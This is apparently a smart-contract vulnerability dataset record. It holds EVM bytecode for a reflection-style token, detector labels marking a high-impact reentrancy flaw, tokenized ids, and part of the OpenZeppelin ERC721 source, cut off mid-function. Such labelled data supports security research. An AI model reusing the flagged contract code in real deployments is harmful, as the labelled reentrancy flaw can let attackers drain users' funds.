0815260200160002081905550611ebb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120fb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0781612159565b611f118483612216565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f6e9190612bdb565b60405180910390a3505050505050505050565b60008083118290611fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbf9190612a79565b60405180910390fd5b5060008385611fd79190612d67565b9050809150509392505050565b60008060006008549050600069d3c21bcecceda1000000905061201c69d3c21bcecceda1000000600854611d4190919063ffffffff16565b82101561203c5760085469d3c21bcecceda1000000935093505050612045565b81819350935050505b9091565b60008060008060008060008060006120668a600a54600b54612250565b9250925092506000612076611d8b565b905060008060006120898e8787876122e6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118dc565b905092915050565b600080828461210a9190612d11565b90508381101561214f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214690612afb565b60405180910390fd5b8091505092915050565b6000612163611d8b565b9050600061217a828461236f90919063ffffffff16565b90506121ce81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120fb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61222b826008546120b190919063ffffffff16565b600881905550612246816009546120fb90919063ffffffff16565b6009819055505050565b60008060008061227c606461226e888a61236f90919063ffffffff16565b611d4190919063ffffffff16565b905060006122a66064612298888b61236f90919063ffffffff16565b611d4190919063ffffffff16565b905060006122cf826122c1858c6120b190919063ffffffff16565b6120b190919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122ff858961236f90919063ffffffff16565b90506000612316868961236f90919063ffffffff16565b9050600061232d878961236f90919063ffffffff16565b905060006123568261234885876120b190919063ffffffff16565b6120b190919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561238257600090506123e4565b600082846123909190612d98565b905082848261239f9190612d67565b146123df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d690612b1b565b60405180910390fd5b809150505b92915050565b60006123fd6123f884612c90565b612c6b565b905080838252602082019050828560208602820111156124205761241f612ffb565b5b60005b858110156124505781612436888261245a565b845260208401935060208301925050600181019050612423565b5050509392505050565b600081359050612469816132bf565b92915050565b60008151905061247e816132bf565b92915050565b600082601f83011261249957612498612ff6565b5b81356124a98482602086016123ea565b91505092915050565b6000813590506124c1816132d6565b92915050565b6000815190506124d6816132d6565b92915050565b6000813590506124eb816132ed565b92915050565b600081519050612500816132ed565b92915050565b60006020828403121561251c5761251b613005565b5b600061252a8482850161245a565b91505092915050565b60006020828403121561254957612548613005565b5b60006125578482850161246f565b91505092915050565b6000806040838503121561257757612576613005565b5b60006125858582860161245a565b92505060206125968582860161245a565b9150509250929050565b6000806000606084860312156125b9576125b8613005565b5b60006125c78682870161245a565b93505060206125d88682870161245a565b92505060406125e9868287016124dc565b9150509250925092565b6000806040838503121561260a57612609613005565b5b60006126188582860161245a565b9250506020612629858286016124dc565b9150509250929050565b60006020828403121561264957612648613005565b5b600082013567ffffffffffffffff81111561266757612666613000565b5b61267384828501612484565b91505092915050565b60006020828403121561269257612691613005565b5b60006126a0848285016124b2565b91505092915050565b6000602082840312156126bf576126be613005565b5b60006126cd848285016124c7565b91505092915050565b6000806000606084860312156126ef576126ee613005565b5b60006126fd868287016124f1565b935050602061270e868287016124f1565b925050604061271f868287016124f1565b9150509250925092565b60006127358383612741565b60208301905092915050565b61274a81612e26565b82525050565b61275981612e26565b82525050565b600061276a82612ccc565b6127748185612cef565b935061277f83612cbc565b8060005b838110156127b05781516127978882612729565b97506127a283612ce2565b925050600181019050612783565b5085935050505092915050565b6127c681612e38565b82525050565b6127d581612e7b565b82525050565b60006127e682612cd7565b6127f08185612d00565b9350612800818560208601612e8d565b6128098161300a565b840191505092915050565b6000612821602383612d00565b915061282c8261301b565b604082019050919050565b6000612844602a83612d00565b915061284f8261306a565b604082019050919050565b6000612867602283612d00565b9150612872826130b9565b604082019050919050565b600061288a601b83612d00565b915061289582613108565b602082019050919050565b60006128ad602183612d00565b91506128b882613131565b604082019050919050565b60006128d0602083612d00565b91506128db82613180565b602082019050919050565b60006128f3602983612d00565b91506128fe826131a9565b604082019050919050565b6000612916602583612d00565b9150612921826131f8565b604082019050919050565b6000612939602483612d00565b915061294482613247565b604082019050919050565b600061295c601783612d00565b915061296782613296565b602082019050919050565b61297b81612e64565b82525050565b61298a81612e6e565b82525050565b60006020820190506129a56000830184612750565b92915050565b60006040820190506129c06000830185612750565b6129cd6020830184612750565b9392505050565b60006040820190506129e96000830185612750565b6129f66020830184612972565b9392505050565b600060c082019050612a126000830189612750565b612a1f6020830188612972565b612a2c60408301876127cc565b612a3960608301866127cc565b612a466080830185612750565b612a5360a0830184612972565b979650505050505050565b6000602082019050612a7360008301846127bd565b92915050565b60006020820190508181036000830152612a9381846127db565b905092915050565b60006020820190508181036000830152612ab481612814565b9050919050565b60006020820190508181036000830152612ad481612837565b9050919050565b60006020820190508181036000830152612af48161285a565b9050919050565b60006020820190508181036000830152612b148161287d565b9050919050565b60006020820190508181036000830152612b34816128a0565b9050919050565b60006020820190508181036000830152612b54816128c3565b9050919050565b60006020820190508181036000830152612b74816128e6565b9050919050565b60006020820190508181036000830152612b9481612909565b9050919050565b60006020820190508181036000830152612bb48161292c565b9050919050565b60006020820190508181036000830152612bd48161294f565b9050919050565b6000602082019050612bf06000830184612972565b92915050565b600060a082019050612c0b6000830188612972565b612c1860208301876127cc565b8181036040830152612c2a818661275f565b9050612c396060830185612750565b612c466080830184612972565b9695505050505050565b6000602082019050612c656000830184612981565b92915050565b6000612c75612c86565b9050612c818282612ec0565b919050565b6000604051905090565b600067ffffffffffffffff821115612cab57612caa612fc7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d1c82612e64565b9150612d2783612e64565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d5c57612d5b612f3a565b5b828201905092915050565b6000612d7282612e64565b9150612d7d83612e64565b925082612d8d57612d8c612f69565b5b828204905092915050565b6000612da382612e64565b9150612dae83612e64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612de757612de6612f3a565b5b828202905092915050565b6000612dfd82612e64565b9150612e0883612e64565b925082821015612e1b57612e1a612f3a565b5b828203905092915050565b6000612e3182612e44565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e8682612e64565b9050919050565b60005b83811015612eab578082015181840152602081019050612e90565b83811115612eba576000848401525b50505050565b612ec98261300a565b810181811067ffffffffffffffff82111715612ee857612ee7612fc7565b5b80604052505050565b6000612efc82612e64565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2f57612f2e612f3a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132c881612e26565b81146132d357600080fd5b50565b6132df81612e38565b81146132ea57600080fd5b50565b6132f681612e64565b811461330157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d668887bc89cfbd843506af08d5e15c58c31e256c7f325849b5c3dd7c5bc4dbf64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17788, 2620, 2497, 2575, 2497, 21057, 21619, 2094, 2692, 2575, 14141, 19961, 2581, 2620, 2050, 24594, 2683, 2475, 2497, 2581, 2050, 24434, 19481, 2098, 2581, 2278, 2546, 2581, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1019, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,673
0x9726854E220ee58960f917e649769046891031AA
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes 